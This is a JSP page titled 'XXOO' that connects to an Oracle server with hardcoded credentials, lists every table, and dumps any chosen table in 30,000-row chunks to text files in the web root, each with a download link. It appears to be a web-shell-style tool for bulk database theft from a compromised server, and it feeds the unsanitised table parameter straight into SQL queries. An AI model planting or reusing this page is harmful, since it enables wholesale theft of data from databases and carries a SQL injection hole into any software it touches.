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73bb9a1933da055f3925d91c02b5dc4bd3c83a07.jsp
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<%@ page language="java" import="java.util.*" pageEncoding="GBK"%>
<%@ page import="oracle.jdbc.*"%>
<%@ page import="java.sql.*" %>
<%@ page contentType="text/html; charset=GBK" %>
<%@ page import="java.io.*" %>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<base href="<%=basePath%>">
<title>XXOO</title>
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="expires" content="0">
<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
<meta http-equiv="description" content="This is my page">
<!--
<link rel="stylesheet" type="text/css" href="styles.css" mce_href="styles.css">
-->
</head>
<body>
<%
String url = "http://" + request.getServerName() + ":" + request.getServerPort() + request.getContextPath()+request.getServletPath();
Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
ResultSet rs=null;
ResultSet rs_column=null;
ResultSet rs_dump=null;
String oraUrl="jdbc:oracle:thin:@192.168.1.81:1521:db";
String oraUser="username";
String oraPWD="password";
int size=30000;
try
{
DriverManager.registerDriver(new oracle.jdbc.driver.OracleDriver());
}
catch (SQLException e){
out.print("filed!!");
}
try
{
Connection conn=DriverManager.getConnection(oraUrl,oraUser,oraPWD);
conn.setAutoCommit(false);
if (request.getParameter("table") == null || request.getParameter("table").equals(""))
{
out.print("xixi...<br>");
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
rs=stmt.executeQuery("select table_name from all_tables");
while(rs.next())
{
out.print("<a href=");out.print(url);out.print("?table=");out.print(rs.getString(1));
out.print(" target=_blank>");out.print(rs.getString(1));out.print("</a><br>");
}
rs.close();
stmt.close();
}
else
{
out.print("Current table : "+request.getParameter("table"));
String sql_count="select count(*) from all_tab_columns where Table_Name='"+request.getParameter("table")+"'";
String sql_column="select * from all_tab_columns where Table_Name='"+request.getParameter("table")+"'";
String sql_columns_count="select count(*) from "+request.getParameter("table");
//String sql_dump="select rownom ro,* from T_SYS_USER";
Statement stmt_count=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
Statement stmt_column=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
Statement stmt_columns_count=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
rs=stmt_count.executeQuery(sql_count);
rs_column=stmt_column.executeQuery(sql_column);
ResultSet rs_columns_count=null;
rs_columns_count=stmt_columns_count.executeQuery(sql_columns_count);
conn.commit();
int count=0;
while(rs.next())
{
count=Integer.parseInt(rs.getString(1));
//out.print(count);
}
int columns_count=0;
while(rs_columns_count.next()) // Total number of records
{
columns_count=Integer.parseInt(rs_columns_count.getString(1));
out.print("<br>The number of records : "+columns_count+"<br>");
}
//out.print(columns_count);
int column_num=1;
//out.print("<table border='1'>");out.print("<tr>");
String sql_dump="select * from (select rownum ro "; //SELECT
while(rs_column.next())
{
//out.print(rs_column.getString(3));out.print("\r");
sql_dump+=",";
sql_dump+=rs_column.getString(3);
column_num+=1;
}
rs_column.close();
rs.close(); //close
stmt_count.close();
stmt_column.close();
sql_dump+=" from "+request.getParameter("table")+" where rownum<=";
int mark=0;
mark=columns_count;
out.print("<br><br><br>Please download:<br>");
while(true)
{
if(mark<=size) //one txt count
{ mark=0; }
else
{ mark=mark-size; }
String dump=sql_dump+columns_count+") where ro>="+mark;
columns_count-=size;
Statement stmt_dump=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
rs_dump= stmt_dump.executeQuery(dump);
conn.commit();
String filename = request.getRealPath(request.getParameter("table")+"-"+mark+".txt");
java.io.File f = new java.io.File(filename);
if(!f.exists())
{ f.createNewFile(); }
try
{
PrintWriter pw = new PrintWriter(new FileOutputStream(filename));
while(rs_dump.next())
{
column_num=1;
while(column_num<=count)
{
pw.print(rs_dump.getString(column_num));
pw.print(",");
column_num+=1;
}
pw.println("");
}
pw.close();
}
catch(IOException e) {
out.println(e.getMessage());
}
out.println("<br><a href=./"+request.getParameter("table")+"-"+mark+".txt>"+request.getParameter("table")+"-"+mark+".txt</a><br>");
if(mark==0)
{
rs_dump.close();
stmt_dump.close();
break;
}
}
}
conn.close();
} catch (SQLException e)
{
System.out.println(e.toString());
out.print(e.toString());
}
%>
</body>
</html>